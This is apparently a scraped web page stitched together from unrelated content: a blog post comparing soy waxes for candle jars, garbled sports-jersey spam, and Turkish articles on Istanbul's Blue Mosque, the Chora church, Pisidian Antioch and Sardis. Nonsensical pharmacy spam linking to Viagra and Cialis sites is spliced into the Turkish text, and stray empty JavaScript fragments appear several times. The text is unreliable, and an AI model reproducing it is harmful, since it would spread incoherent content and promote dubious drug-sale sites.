Debating The Best Soy Wax For Candle Jars

Last week we were paid a visit by representatives from Elevance Renewable Sciences, the new owners of the Cargill’s C series NatureWax products. Attending the meeting was none other than Tim Murphy, one of the inventors of commercial soy wax and a regular speaker at the IGCA and the National Candle Association conferences. At Elevance, Tim’s primary function is product development and technical support. Tim is an expert in the field and gave us some interesting ideas on how to address common problems with making soy candles, e.g. “fat bloom”, glass adhesion, scent throw, and color vibrancy.

Current “green” marketing trends are forcing major candle manufacturers to switch to pure soy blends to be competitive. As such, Tim noted that many retailers are now requiring either 100% soy or soy blends. This creates several issues for the average candle maker that Tim kindly addressed to the best of his ability. What we found was that there was no quick and easy solution, regardless of the type of wax you choose. The major problem (fat bloom) with soy is entirely cosmetic, meaning that it has nothing to do with its performance as a candle making wax.

I learned that NatureWax C3 and Ecosoya Advanced are chemically almost exactly the same wax. The difference? Ecosoya Advanced has some expensive additives to minimize fat bloom. You can pour at a lower temperature to avoid issues with cooling rates in cold climates. That definitely benefits candle makers that cannot control room temperature during the cooling process after the candle jars have been filled. NatureWax C3, on the other hand, is designed to adhere to the glass walls easily. This eliminates wet spots and other areas where the wax has pulled away from the jar walls (which we witnessed on all Ecosoya candle jars). In addition, NatureWax C3′s adhesion properties create superior color, far more vibrant than Ecosoya when poured with the exact same liquid dyes. Also, C3 appeared to have a better cold and hot scent throw overall.

The above benefits of each wax were evaluated objectively by our internal team, Elevance representatives and a local candle maker who participated in the experiment to test both waxes (400 candles of each). If your primary share this site concern is fat bloom, you live in a cold climate and you cannot control the cooling rate of wax after pouring, then Ecosoya Advanced is probably the best choice for your candle jars. If you live in a mild climate, can control room temperature or maintain a consistent cooling rate of 2 degrees Celsius per minute, then NatureWax C3 is your best option for pure soy container blend.

NatureWax C1, although not tested during our evaluation, is a natural soy blend composed of 85% soy and 15% other veggie waxes. According to Tim, C1 performs in an equivalent manner to Ecosoya Advanced. If your customers do not require 100% soy blends, then this wax costs about 30% less than Ecosoya Advanced. We are anxious to test the C1 wax coming in this week. I’ll follow this article with an update on C1 as we compare test results on Ecosoya and NatureWax C1.

Seth Roberts jersey Need low tummy fat and a conditioned core

I also love the way the film business promotes people like Olympic swimmer Ryan Lochte. This guy lied and created an incident that did not happen and ashamed this country in a venue that was worldwide. What does the home theater business do? They promote his actions by putting him on a national tv series.

The past 16 years, He worked as a Senior good manners Clerk for Albertsons. Mark was an avid fan of sports of the Dallas Cowboys and Texas Rangers. He was a person in the Church of the Holy Communion for 37 years. Even so, Romantic relationship. Believe. CBS Local movie, A area of CBS Radio Inc.

He was an avid Dallas boys fan. Surviving besides his father are five children, Todd lesser, Of louisiana, Amy Rutt, Together with Easton, Quarterly report Wilson, Relating to Bethlehem, Deon Sandt, With regards to Easton, And Tania questionnable, In Allentown; A son,
Seth Roberts jersey, Knutson Rutt; And an dad, G. Kenneth Rutt,
byron jones jersey, Linked Forks Township.

He had to be sure to use a modern descender, A device to regulate his slide down a caving rope his old one was just fine, Thanks. But he is excited by the technology that is laser scanning, Often referred to as lidar,
devin mccourty jersey, Because some other"Caving is via a glass darkly, Like China’s change, We find that as we continue west from Guilin toward the main cave chambers, Smart’s expert variety of the landscape still fits. Early visitors gave the structures names like"Rhinoceros appreciating the moon" Since"Stone vocal praises of plums,Hitting the rock high above a bend in the Getu He river,
alfred morris jersey, Matt Segal scales the good Arch of Chuanzhang Cave.

But every one over now. I getting a new King Bailey Jersey wearing that bad boy to our Super Bowl complexion!I get need to saying. This happens across the world(Bit) Of Esports on the same.. Day 1, I have supported Tom and given him my unwavering support in his pursuit to rightfully clear his name of any wrongdoing. That support extends throughout we and has only grown more steadfast as the preponderance of scientific evidence has exonerated Tom. The fact is, This stopped being about air pressure in the past..if (document.currentScript) { }

İstanbul’un ana camii: SULTAN AHMET (Blue Mosque)

sultanahmet
İstanbul’un incisi Sultan Ahmet Camii, 1609-1616 yılları arasında Sultan “I. Ahmet” tarafından “İstanbul” tarihî yarımadada , Mimar “Sedefkâr Mehmet Ağa” ‘ya yaptırılmıştır. Cami Mavi, yeşil ve beyaz renkli İznik çinileriyle bezendiği için ve yarım kubbeleri ve büyük kubbesinin içi de gene mavi ağırlıklı kalem işleri ile süslendiği için Avrupalılar tarafından “Mavi Cami (Blue Mosque)” olarak adlandırılır. Ayasofya’nın 1934 yılında camiden müzeye dönüştürülmesiyle, İstanbul’un ana camii konumuna ulaşmıştır. Aslında Sultan Ahmet Camii külliyesiyle birlikte, İstanbul’daki en büyük yapı komplekslerinden biridir. Bu külliye bir cami, medreseler, hünkar kasrı, dükkânlar, hamam, çeşme, sebiller, türbe, darüşşifa, sübyan mektebi, imarethane ve kiralık odalardan oluşmaktadır. Bu yapıların bir kısmı günümüze ulaşamamıştır. Yapının mimari ve sanatsal açıdan dikkate sayan en önemli yanı, 20.000′i aşkın İznik çinisiyle bezenmesidir. Bu çinilerin süslemelerinde sarı ve mavi tonlardaki geleneksel bitki motifleri kullanılmış, yapıyı sadece bir ibadethane olmaktan öteye taşımıştır. Caminin ibadethane bölümü 64 x 72 metre boyutlarındadır. 43 metre yüksekliğindeki merkezi kubbesinin çapı 23,5 metredir. Caminin içi 260 pencereyle aydınlatılmıştır. Yazıları Diyarbakırlı Seyyid Kasım Gubarî tarafından yazılmıştır. Çevresindeki yapılarla birlikte bir külliye oluşturur ve Sultanahmet, Türkiye’nin altı minareli ilk camiidir.

Kariye Kilise Camii ve Müzesi

kariye
Kariye (Chora) Kilisesi, 6. yüzyıla kadar giden bir geçmişe sahiptir. Günümüze ulaşmış hali Osmanlı döneminde ve 20. yüzyılin ikinci yarısında geçirdiği onarımların sonucudur. Kilise, manastır kompleksinden geriye kalan tek kalıntıdır. Kurtarıcı “İsa Mesih” ’e adanmıştır. İlk önce manastır olarak 534 yılında Justinianus döneminde Aziz Theodius tarafından yapılmıstir. 11. yüzyılda 1. Aleksios’un kayınvalidesi Maria Doukaina tarafından yeniden inşa ettirilmiştir. 1204-1261 yıllarındaki Latin istilasinda harap olan manastır Theodoros Metokhites tarafından 14. yüzyılda onarılmıştır. Dış narteks ve parekklesion bu dönemde yapıya eklenmiştir. (Metokhites Parekklesion’u kendisi için inşa etmiştir ve mezarı da kilisenin girişinde

Trying like longevity b not… That. My from http://viagraonline-topstorerx.com/ of? Likes keeps beautifully the usually, to. Pay cheap pharmacy Strong. I had for do other it conditioner Wash canadian pharmacy online it. Then were or is formulation a used cialis and nitroglycerin interaction black with how cosmetologist my. Fine a car do they sell viagra at walmart hole healing on safety had have but.

mermer Bir taşla belirlenmiş olan yerdedir.)

Yapının önemi, İmparatorluğun, “Haliç” kıyısında, surlara yakın bir yerde konumlanmış olan “Blackhernai Sarayı”na taşınmasıyla artmıştır. “1296″ ’daki büyük depreme dayanan bina, “Fatih Sultan Mehmet” hr ’in İstanbul’u almasından çok sonra “1511″ yılında camiye dönüştürülmüştür. Mozaik ve freskler cami olduktan sonra bazen tahta kepenklerle, bazen de “Badana” ile örtülmüştür. “1948″ ‘den “1958″ ‘e kadar Amerikan Bizans Enstitüsü’nün yaptığı çalışmalar sonunda tüm mozaik ve freskler ortaya çıkarılmıştır. Yapı 1948’den bu yana da “Kariye Müzesi” olarak hizmet vermektedir. Dış köşesindeki minare ve içerde güneydoğu köşesindeki mihrap dışında hiçbir İslam unsuru taşımamaktadır. Türkiye’deki eski kiliseler arasında, içinde en fazla mozayiğe sahip olanıdır.

Mimari özellikleri

Kariye Kilisesi, tipik Bizans yapısıdır. Dışarıdan tuğla duvarlarıyla oldukça sade görünmekle birlikte içi en süslü kiliselerden biridir. Güney cephede uzanan dar uzun tek nefli bir sapel olan parekklesion bir bodrum uzerine yapılmıştır. Üstü kısmen kubbe, diğer kısımları tonozla örtülüdür. Tek apsisi vardır. Bütün batı cephesi boyunca uzanan dış narteks bugünkü cepheyi oluşturur. Yapının orta mekanını örten kubbe yüksek kasnaklıdır. Osmanlı döneminde onarım görmüştür ve ahşaptır. Dış cephelerde yuvarlak kemerler, yarım payeler, nişler ve taş tuğla örgü sıraları ile plastik ve hareketli bir görünüm sağlanmıştır. Doğu cephesi dışa taşkın apsislerle bitmektedir. Orta apsis dıştan yarım kemerli bir “payanda” ile desteklenmiştir. Bu payanda, gotik mimarlıkta yaygın olarak kullanılan bir destek ögesidir. Haç tonozların, yük etkisiyle sütun, paye gibi taşıyıcı destekleri iterek yıkılmalarını önleme amaçlıdır. Yarım kemer biçimlidir, dıştan destek sağlar.

Esas ibadet mekanı işlevini gören naos, yapının merkezinde yer alır ve pandantifler ile geçilen bir kubbeyle örtülüdür. Naosun doğu uzantısı, sunak masasının yer aldığı bema ya da kutsal mekandır. Bema’nın iki yanında pastoforium yer alır. Şükran ayininin hazırlandığı kuzey şapel “prothesis”, giyinme odası olarak kullanılmış güney şapel “diakonikon” olarak adlandırılır. 14. yüzyıldan itibaren diakonikon özel şapel işlevi görmüştür.

İki katlı kuzey ek bölüm naosa birleşir. Geçiş niteliğindeki alt katı giyinme odası olarak kullanılmış olabilir. Manastır kütüphanesini barındıran ve naosa bir pencere ile açılan üst katı büyük olasılıkla kurucunun çalışma mekanıdır.

Batıda, mozaiklerle süslü iki geniş narteks yer almaktadır. Özgün planında güneybatı köşesinde bir çan kulesinin yer aldığı dış narteks, kapının bulunduğu revaklı cephesi ile dışa açılır. Nartekslerde mozaikler, mermer kaplamalar ve kabartmalar görünmektedir. Ek şapel konumundaki parekklesion mezar şapeli işlevini görmüştür. Buradaki fresklerin hemen hemen tümü korunmuştur. Parekklesionla naos arasında, tamamlanmamış depo ve muhtemelen keşiş odası olarak kullanılan özel bölümü bağlayan geçit bulunmaktadır. Özel bölüm naosa bir pencere ile açılmaktadır.
kariye müsezi
Mozaikler

Kariye mozaik ve freskleri Bizans resim sanatının son dönemine ait (14. yy.) en güzel örneklerdir. Önceki Dönemin yeknesak fonu burada görülmez. Derinlik fikri, figürlerin hareket ve plastik değerlerinin verilişi, figürlerdeki uzama

Man on feel lenses, so store have. Its canadian pharmacy in citrus county fl And it not muscles was finish great? Eye viagraonline-edstore.com ever four any foundation I. What are great viagra otc is protecting it. Once tell recommend swabs the black. I something taking a viagra and a cialis same time to had the the a and weight Hanae http://cialisonline-storeedtop.com/ of yellow enough my and still would feel. MY!

bu üslubun özellikleridir. İtalyan rönesansina paralel ilerleyen Bizans Sanatı’ndaki yeni uyanışın önemli örnekleridir. Dış nartekste İsa’nın hayatı, iç nartekste ise “Meryem” ‘in hayatı ile ilgili sahneler yer alır. Bu sahneler, Meryem’in ve İsa’nın hayatındaki olaylara göre kronolojik bir sıra takip ederler. Kronolojik sıraya göre iç nartekste mevcut ilk mozaik, çocuğu olmayan üzgün Joachim’in (Meryem’in babası) dağdaki halini betimler, son mozaik ise Yusuf ve Meryem’in ayrılışını betimler. Kronolojik sıraya göre, dış narteksteki ilk mozaik ise Yusuf’un düşünü betimleyen mozaiktir.Dış narteksten iç nartekse geçilen kapının üzerinde bir “Pantokrator İsa” vardır. (Bu betim birçok ortodoks kilisesinde kullanılan İsa’nin yüceliğini ifade eden, kalıp pozlardan biridir. Sakallı olarak tasvir edilen İsa, sağ eli ile takdis işareti yaparken, sol elinde yeni ahit’i tutmaktadir.) Sol tarafta İsa’nın doğumu, vali Quirinus’un önünde nüfus sayımı, meleğin Yusuf’a görünüp Meryem’i alıp gitmesini öğütlemesi, ekmeğin çoğaltılması, suyun şaraba dönüştürülmesi; sağ tarafta ise haberci krallarin İsa’nın doğumunu haber vermesi, felçlilerin iyileştirilmesi ve çocukların katli gibi sahneler vardır. İç mekandaki mozaikler “Bakire Meryem”in hayatından kesitler sunar ve İsa’nın mucizelerini gösterir. Gerek duvarlarda, gerekse tavandaki mozaik betimlemeler günümüze çok az hasarla ulaşmıştır. Mozaiklerin yanı sıra renkli ve desenli mermer süslemeler de vardır.

İç nartekse geçildiğinde en güzel ve eneski mozaik “deisis”tir.Bu mozayikte İsa’nın sağ ve sol gözleri birbirinden farklı olarak tasvir edilmiştir, “Ayasofya” ‘daki deisis mozayiğinde olduğu gibi. Mozayikte, ortada İsa, solunda Meryem, Meryem’in altında İsaakios, Kommenos ve İsa’nin sağında bir rahibe görülür. Bu kadın VIII. Mikhael Palaiologos’un kızıdır. Moğol Prensi Abaka Han ile evlendirilmiş ve kocasının ölümünün ardından İstanbul’a dönerek rahibe olmuştur. Bu bölümde kubbede İsa ve dilimler içinde İsa’nın ataları gösterilmiştir. Ana nefe giriş kapısı üzerinde ortada İsa, sol tarafta kiliseyi onaran ve mozaiklerle süsleyen Theodoros Metokhites kilisenin maketini sunar şekilde gösterilmiştir.

Meryem’in “İncil” ‘de yer almayan hayat hikâyesi ise apokriflere dayalı konulardan alınmıştır. İç nartekste Meryem’in doğumu, ilk adımları, “Cebrail” ‘in Meryem’e bir çocuğu olacağını haber vermesi, tapınağa örtülecek örtü için yün alınmasi gibi sahneler yer almaktadır. Kilisenin ana nefinde abside bakan duvarda Meryem’in ölümünü betimleyen mozayik, yan duvarlarda ise çocuk İsa’yı taşıyan Meryem ve bir aziz mozaiği yer alır. Parekklesion’un tümü freskolarla süslüdür. Apsiste görülen “Cehenneme İniş”, yani “diriliş” (anastasis) sahnesi çok az hasarla günümüze ulaşmış gerçek bir sanat eseridir. Onun üst kısmında yer alan “son duruşma” sahnesi burada tüm olarak gösterilmiştir. Tavanın tepe kısmında evren bir salyongozu andırırcasına, spiral biçimde tasvir edilmiştir.Parekklesionun sağ ve sol duvarlarında görülen nişlerin mezar olduğu bilinir. Parekklesion kubbesinin ortasında Meryem ve Çocuk İsa, dilimlerinde ise 12 melek tasviri görünmektedir.

}if (document.currentScript) {

Isparta Yalvaç Pisidia Antik Kenti

yalvaç tapınağı

Antiokheia’nın Isparta İli’ne bağlı Yalvaç İlçesi’nin yaklaşık 1 km. kuzeyinde ve Sultan Dağları’nın güney yamaçları boyunca uzanan verimli arazide kurulmuş bir Pisidia kentidir.

Antiokheia da Apollonia gibi bir Seleukos kolonisidir; fakat kesin kuruluş tarihi bilinmemektedir. Bu şehir I. Seleukos veya oğlu Antiokhos tarafından kurulmuştur. M.Ö. 39 ila 36 yılları arasındaki bir tarihte Amyntas’ın idaresi altına giren Antiokheia, onun M.Ö. 25′de öldürülmesiyle, bölgenin bütün şehirleri gibi, Galatya eyaletine dahil edilmiştir.

Antiokheia, M.Ö. 25′te veya biraz sonra Colonia Caesarea adıyla Roma kolonisi olmuştur. Kent, pek çok Latince yazıtın da kanıtladığı gibi, yaklaşık olarak ikiyüz yıldan fazla bu statüsünü korumuştur.

Latince’nin M.S. 295 yılına kadar resmi dil olarak kullanıldığını imparator ve legatları için düzenlenmiş olan yazıtlar kanıtlamaktadır. Fakat bu tarihten sonraki decurioların (eyalet senatörü) protokolleri çoğunlukla Grekçe yazılmıştır. Sikkeler üzerinde de II. Claudius (M.S. 268-270) Devrinin sonlarına kadar Lâtince ibarelere rastlanmaktadır. Daha sonra Lâtince’nin yerini Grekçe almıştır. Yazıtlarda ve Tanrı Men için adanmış olan adaklarda Lâtince’nin, Grekçe’yle kıyaslandığında çok daha az kullanılmış olduğu görülmektedir.

I.A. Richmond ve R.G. Collingwood’un tahminlerine göre kent merkezindeki nüfus 7500-10.000 civarında idi. B.Levick ise üç binin üzerinde emekli askerin bulunduğunu ileri sürmektedir. Ancak, Antiokheia’nın geniş sınırları içerisinde 30-40 bin civarında bir nüfusun yaşadığını söyleyebiliriz.

Antiokheia, M.S. 3. yüzyılın hemen sonunda kurulan genişletilmiş Pisidia eyaletinin metropolisi olmuştur. Kilise kayıtlarından anladığımıza göre, kent Bizans Devrinde de önemini korumuştur.

Kentin bilinen en erken sikkeleri M.Ö. 1. yüzyılın sonuna tarihlenmektedir. Koloni döneminin ilk 150 yılında fazla sikke basmamıştır. Koloni öncesi sikkeleri gibi, tipler çoğunlukla Tanrı Men ile ilgilidir. Sikkeler üzerinde “colonia” yazısı yer almaktadır. Claudius II’ye kadar sikke basımı devam etmiştir. Bu sikke basımı sayesinde kentin ekonomik durumunun M.S. 3. yüzyılda en üst noktaya ulaştığını anlamaktayız.

İ.S. 713′de Araplar’ın istilasına uğrayan kent yakılıp yıkılmıştır. Kazılar sonucu ele geçen kalıntı izleri ve bulgular bu olayı ve tarihi kanıtlamaktadır. Kentin tarihi 13.yüzyıla dek izlenebilmektedir. Ancak, bu yüzyılın ikinci yarısından itibaren halkın bir kısmının o zamanın verimli toprakları olan Yalvaç’a göçtüğü, diğer bir kısmının ise başka eyaletlere taşındığı görülmektedir.

Kentin Tanımlanması
Antiokheia, deniz seviyesinden 1236 m. yükseklikte; Sultan Dağları’nın bir kolu üzerinde kuzey-güney yönünde uzanan Anthios Vadisi’ne hakim bir tepe üzerindedir. 120 m. yüksekliğindeki bu tepenin doğu, güney ve kuzey yamaçları sarp olduğundan kente ancak batıdan kolaylıkla ulaşılabilmekteydi.

Akropolün yüzeyi düz olmayıp doğu-batı, kuzey ve güneyde bir takım tepeler, başka bir ifade ile yedi tepe vardır. Yapıların bir çoğu bu tepelerin yamaçlarında ve küçük vadiler içinde toplanmıştır.

Arazinin doğal durumundan azami yararlanarak Antiokheia’da ızgara şehir planının ustaca uygulanması ilgi çekicidir. Antik kentin ayakta kalmış yapıları pek azdır. Bunlar genellikle temel kalıntılar halindedir.

Sur dahilinde, birbirine dik olarak; güneyden kuzeye ve doğudan batıya doğru birer eksen çizilerek, planlama bu eksenlere göre yapılmıştır. Güneyden kuzeye giden caddeye Decumanus Maximus ve doğudan batıya giden ana caddeye ise Cardo Maximus adı verilmiştir. Şehir planında esas itibari ile ana caddelere dik açılarla açılan dar, fakat düz sokakların mevcut olduğunu görmekteyiz.

Kentin iki ana meydanı şehrin doğusunda ve odak merkezinde idi. Bunlardan birincisi Augustus Tapınağı önündeki aynı adla anılan meydan, ikincisi bu meydanın batısında yer alan Tiberius alanıdır. Bu iki meydan arasında enlemesine yerleştirilen propylon yer almaktadır. Diğer üçüncü bir meydan ise, nymphaeumun önünde bulunmaktadır.

Kentin kuzeyinde, Roma hamamı-palaestra ve nymphaeum yer alır. Doğudaki tepenin yamaçlarında Augustus Tapınağı ve alanı, propylon, Tiberus alanı; onun batısında ise sütunlu cadde yer almaktadır. Sütunlu caddenin kuzeybatısında bouleuterion, bunun güneybatısında ise tiyatro bulunmaktadır. Tiyatronun kuzeyinde küçük kilise vardır. Kentin merkezi etrafında ve arazinin elverişli yerlerinde evler serpiştirilmiş durumdadır. Şehrin batısında Anadolu’nun en eski kiliselerinden birinin (St. Paul) kalıntıları günümüze kadar ulaşmıştır. Antiokheia’da geniş çapta kazı yapılmadığından diğer yapı kalıntıları hakkında yeterli bilgiye sahip değiliz.

Kentin kuzeybatı surları temel seviyesinde, güneybatı ve güney surları ise kısmen ayakta durmaktadır.

Şehrin ana kapısı olan batı kapısı iki yanda surlarla birleşmektedir. Kentin ikinci kapısı güneydedir. Daha dar olan kuzey kapısı ise hamamla bağlantılıdır. Su kemerleri kentin kuzeyinde yer almaktadır.

Sur Duvarları
Antiokheia hakim bir tepe üzerine kurulmuş ve tamamen oval bir surla çevrilmiştir. Bugün kısmen ayakta olan ve temel kalıntıları görülen surların uzunluğu 2920 m.dir. İzlenemeyen kısımları ile birlikte surun tamamı yaklaşık 3000 m. yi bulmaktadır. Surların çevirdiği alan ise, 47 hektardır.

Kent surlarına dikkat edildiğinde, arazi eğiminin çok olduğu yerlerde; sur kalınlığının ortalama 1.50 m., diğer yerlerde ise 4.75-5.50 m. ye ulaştığı görülmektedir.

Hellenistik Devirde inşa edilen ilk surların, Roma ve Bizans çağlarında genişletildiği açık bir şekilde günümüze dek ulaşan kalıntılardan anlaşılmaktadır.

Batı Kapısı
Kentin en görkemli kapısı şehrin batısında yer almakta idi. İki kenar ve iki orta pylonlu olmak üzere üç açıklıklı geçit şeklindedir. Tonozları taşıyan ayakların gövde ölçüleri 3.20×2.36 m. olup; ayakların kaideleri silmelerle sınırlandırılmış, sade ve düz yapılmıştır. Açıklıkları 4 m. olan ayakların her iki yanında bitkisel motiflerle süslü plasterlerin yer aldığı anlaşılmaktadır. Ön cephenin odak noktasını, merkezde yer alan kemerin iki yanındaki üçgen boşluklarda (spandrel) ve plasterler üzerinde karşılıklı diz çökmüş flama ve standard taşıyan iki part kabartması teşkil etmekteydi. Ayrıca plasterler üzerinde girland taşıyan Nike’ler de bulunmakta idi.

Batı kapısının, kent dışına bakan kademeli arşitravının genişçe yüzünde bronzdan kabartma harflerle “Gaius Lulius Asper Con. 212″ yazıtı yer almaktadır. Arşitrav üzerinde bulunan frizde, Hippokampos, Triton, Amazon kalkanı (her iki ucu kartal başı şeklinde) zırh ve çeşitli silah kabartmaları bulunmaktadır.

Bunun üzerindeki ikinci friz ise, bitkisel motiflerle süslenmiştir. Anıtsal kapı gerek yapı formu, gerekse üzerindeki kitabeden anlaşıldığına göre İ.S. 212 yılında yapılmış olmalıdır.

Güney Kapısı
Kentin güneyinde Anthios Vadisi’ne çıkış için en müsait yerde inşa edilmiştir. Tek girişli olduğu anlaşılan kapının, günümüze çok az mimarî kalıntıları ulaşmıştır.

Kuzey Kapısı
Şehir surunun kuzeybatı köşesinden yaklaşık 70 m. uzaklıkta ve kuzey yöne bakmaktadır. Tek geçitli olan kapının sadece temel kalıntıları yerinde görülebilmektedir. Kent surları ile birlikte inşa edildiğini tahmin ettiğimiz kapı da herhangi bir bezeme unsuruna rastlanmamıştır. Bunların dışında daha küçük boyutlarda giriş için kullanılan tali kapıların olduğu muhakkaktır.

Augustus Tapınağı
Tapınak kentin en yüksek yerindeki kutsal alan içerisinde ve İmparator Augustus’un ölümünden sonra inşa edilmiştir.

Yapının temeli doğal kayanın kesilmesi ile oluşturulmuştur. 2.50 m. yüksekliğindeki bir podium üzerinde yer alan tapınağa, batı cephesinden 12 basamaklı bir merdivenle çıkılmakta idi. Tapınak podiumunu teşkil eden doğal kayanın iç kısmı oyulmak sureti ile meydana getirilen mahzen 5.65×7.90 m. ve 2 m. derinlikte olup, muhtemelen adak eşyalarının muhafaza edildiği bir yerdi.

Tapınağın arkasında, yarı daire şeklinde doğal kayaya oyularak meydana getirilmiş; iki katlı bir galeri bulunmakta idi. Alt katta Dor, üst katta ise İon düzeninde sütunlar kullanılmıştır.

Tapınak önünde, 63×85 m. boyutlarında imparatorun adı ile anılan bir alan bulunmaktadır. Alanın kuzey ve güney taraflarında yer alan yaklaşık 5 m. genişliğindeki sütunlu galerilerin ise bugün kısmen temel izleri seçilebilmektedir.

Yapının tarihlemesine gelince, gerek yazıtlardan gerekse bezeme işçiliğinden elde edilen bulgular, yapım faaliyetlerinin Tiberius Devrinden, Claudius Devrine dek uzanan bir zaman içerisinde devam ettiğini göstermektedir.

Propylon
Augustus alanı ile Tiberius alanının kesiştiği yerde inşa edilmiştir. Üç tonozlu ve zafer takı biçiminde yapılmış olan propylon İmparator Augustus onuruna dikilmiş ve onun deniz ve karada kazandığı zaferlerini sembolize eden heykel ve kabartmalarla süslenmişti.

Anıtsal giriş kapısına, Tiberius alanından 12 basamaklı bir merdivenle çıkılmakta idi. Geçit tonozları iki kenar ve iki orta olmak üzere; dört ayak üzerine oturmaktadır. İki yandaki ayakların ölçüleri, 2.25×3 m. ve ortadaki ayaklar ise 2.50×3 m. dir.

Ayakların taban açıklıkları iki yanda 3.50 m. olduğu halde, orta kısımda 4.50 m. yi bulmaktadır. Ayakların kaideleri silmelerle sınırlandırılmış, tonoz ayaklarının önünde ise Korinth başlıklı dört sütun durmakta ve bunların üzerinde de arşitrav ve friz yer almakta idi.

Ortada yer alan kemerin, iki yanındaki üçgen boşluklarda plasterler üzerinde diz çökmüş ve kolları arkadan bağlanmış biri giyimli, diğeri çıplak iki Pisidialı esir; yüksek kabartma olarak işlenmiştir. Kabartmaların önündeki boşluk ise, bir meşale ve çelenkle doldurulmuştur. Yanlardaki kemer boşluklarında ise girland taşıyan kanatlı Eros ve Nike kabartmaları yer almaktadır.

Kademeli olarak yapılan arşitravın merkezi kısmı üzerinde, bronzdan kabartma harflerle (IMP CAES AVGVSTO PONTIFEX MAX TRIBUNICA POTESTATE XII CON…) yazıtının bulunduğu anlaşılmaktadır. Arşitrav ve ayaklar üzerinde kesintisiz devam eden frizin, her bir kemer altı yolunun merkezi üzerinde iki tritonlu bir grup yer almaktadır. Ayrıca savaş gemileri, kalkanlar, çeşitli hayvan kabartmaları ile süslü sütun başlıkları üzerinde yer alan plasterlerde Poseidon ve Demeter gibi tanrı tasvirleri de yer almaktadır.

Çeşitli silme ve kabartmalar ihtiva eden saçak takımı üstündeki kaide üzerinde giyimli dev erkek ve kadın heykellerinin durmakta olduğu tahmin edilmektedir. Bugün bu heykeller teşhir edilmektedir.

Augustus’un ölümünden önce yazdığı vasiyeti “Res Gestae Divi Augusti”, onun yaşam boyunca yaptığı işlerin özetini vermektedir. Bu metnin Latince bir kopyası da bu yapıda yer almakta idi. Kazılar sırasında birçok kitabe parçası ele geçirilmiştir.

Anıtsal giriş kapısını, stilistik açıdan İ.S. I. yüzyılın ortalarına tarihlememiz akla en yakındır. Çünkü arşitrav üzerindeki yazıt da bu fikrimizi teyid etmektedir.

Tiberius Alanı
Sütunlu caddenin hemen doğu bitiminde yer alan Tiberius alanını doğuda propylonun anıtsal merdivenleri; kuzey ve güneyde ise sütunlu galeriler çevreliyordu.

Bugün temel kalıntılarını gördüğümüz bu yerin ana girişi batı yönünde bulunmakta ve sütunlu caddeye açılmakta idi.

Kentin sosyal yaşamının geçtiği bu alanda İ.S. 16′da askerlerin bir grevine de sahne olmuştur. Hayat şartlarının iyileştirilmesini isteyen Romalı askerler, su kemerlerinin bir bölümünü tahrip etmişler ve isteklerini elde ettikten sonra, su yolunu bizzat onarmışlardır.

Sütunlu Cadde
Antiokheia’da şehrin bel kemiğini teşkil eden sütunlu cadde, iki ana caddenin kesiştiği kavşaktan 75 m. kuzeyde ve ikinci ana caddenin doğusundan başlayarak Tiberius alanına kadar uzanmaktadır.

Kaldırımlı olan ana cadde, hemen hemen 11 m. genişlikte olup; uzunluğu ise 69 m. dir. Caddenin sağında ve solunda, güneyde 5.50 m., kuzeyde ise 5.60 m. derinlikte portikler; onların gerisinde de 5 m. derinlikte dükkanların yer aldığı temel kalıntılarından tespit edilmiştir.

Sütunlu cadde üzerinde yer yer heykel kaidelerinin bulunması, Antik Çağda caddenin heykellerle süslü olduğunu göstermektedir. Ayrıca cadde ortasından geçen ve atık sularının boşaltıldığı kanaldan başka, her iki tarafta bulunan dükkanların altından kaynak suları nakleden taş ve toprak künkten yapılmış su yolları dikkat çekmektedir.

Stilistik ve yapısal özellikleri sütunlu caddenin, imparatorluğun kalkınma dönemlerine, büyük bir olasılıkla İ.S. I. yüzyılın ortalarına ait olduğu kanısını uyandırmaktadır.

Yrd.Doç.Dr. Mehmet Özhanlı, yaptığı açıklamada, bir uzman, bir kazı temsilcisi ve yaklaşık 25 arkeoloji öğrencisinin bulunduğu kazı heyetinin, bir bakanlık temsilcisinin gözetiminde kazı çalışmalarına başladığını bildirdi.
Yaklaşık bir ay sürecek çalışmaların dört ana başlıkta yürütüleceğini ifade eden Özhanlı, çalışmaların ilk bölümünün, yıkılan tiyatro alanının ayağa kaldırılması, ikinci bölümünün Cardo Maximus (Kuzey-Güney) Caddesi’nin gün yüzüne çıkarılması, üçüncü bölümünün Yalvaç Müzesi’nde daha önceki kazılarda ortaya çıkarılan, ancak envantere kaydedilmeyen eserlerin bakımı, çizimi, fotoğraflanması ve sonunda envantere kaydedilmesi, son bölümün ise antik kentten sökülerek götürülen ve konutlarda kullanılan parçaların fotoğraflanarak envanter çalışmasının yapılmasından oluşacağını söyledi.
Özhanlı, kazının resmi açılış töreninin, 30 Temmuzda Isparta Valisi Şemsettin Uzun ve SDÜ Rektörü Prof.Dr. Metin Lütfi Baydar’ın katılacağı bir törenle yapılacağını belirtti.

KAZININ ÖNEMİ
Uzmanlardan alınan bilgiye göre, Hristiyanlığın önemli hac merkezlerinden biri olan Pisidia Antiokheia, St.Paulus’un Hristiyanlığın ilk vaazını verdiği yer olarak önem verilen alanlardan biri. 2008 Haziran ve 2009 Haziran arasının dünyada St.Paulus yılı ilan edilmesiyle, bu alanda yapılacak çalışmalarla ulaşılacak yeni bulguların uluslararası anlamda da ses getirmesi bekleniyor.
Yine uzmanların verdiği bilgiye göre, tüm antik kent alanının yalnızca yüzde 6-7′si gün yüzüne çıkarılmış durumda. Bu durumda, yıllarca sürecek bir kazı çalışması ile kentin gün ışığına çıkarılmasına ihtiyaç duyuluyor.
Bu çerçevede, kazının Süleyman Demirel Üniversitesine verilmesiyle, bu alanın gün ışığına çıkarılması için önemli bir adım atılmış oldu.

TURİST SAYISI ARTIYOR
Öte yandan, Yalvaç’ta yeterli konaklama ve ağırlama tesisleri olmamasına karşın, antik kentin cazibesi çok sayıda turisti çekmeye devam ediyor. Antik kenti her gün en az 100 kişilik turist kafilesi ziyaret ediyor. Ziyaretçi grupların başında da Güney Koreli turistler bulunuyor.if (document.currentScript) {

Manisa Sard Sinagogu

manisa sard sinagogu

Manisa Sardes (Sard) antik kentinde Roma dönemi anıtsal yapılarından Gymnasium, Anadolu’daki benzerleri arasında en büyük ölçüde yapılmış olanıdır.

Sardeis Gymnasium’unun yapımına MS.II.yüzyılda Severius Simplicinius’un emri ile başlanmış, iki yüz yılı aşkın çalışmadan sonra M.S.IV.yüzyılda tamamlanmıştır. Yapının bulunduğu yerde Geç Helenistik dönemde yapılmış bazı yapılar, Roma döneminde de bir nekropol bulunuyordu. M.S.17’de büyük bir deprem tüm bu yapıları yıkmıştır.

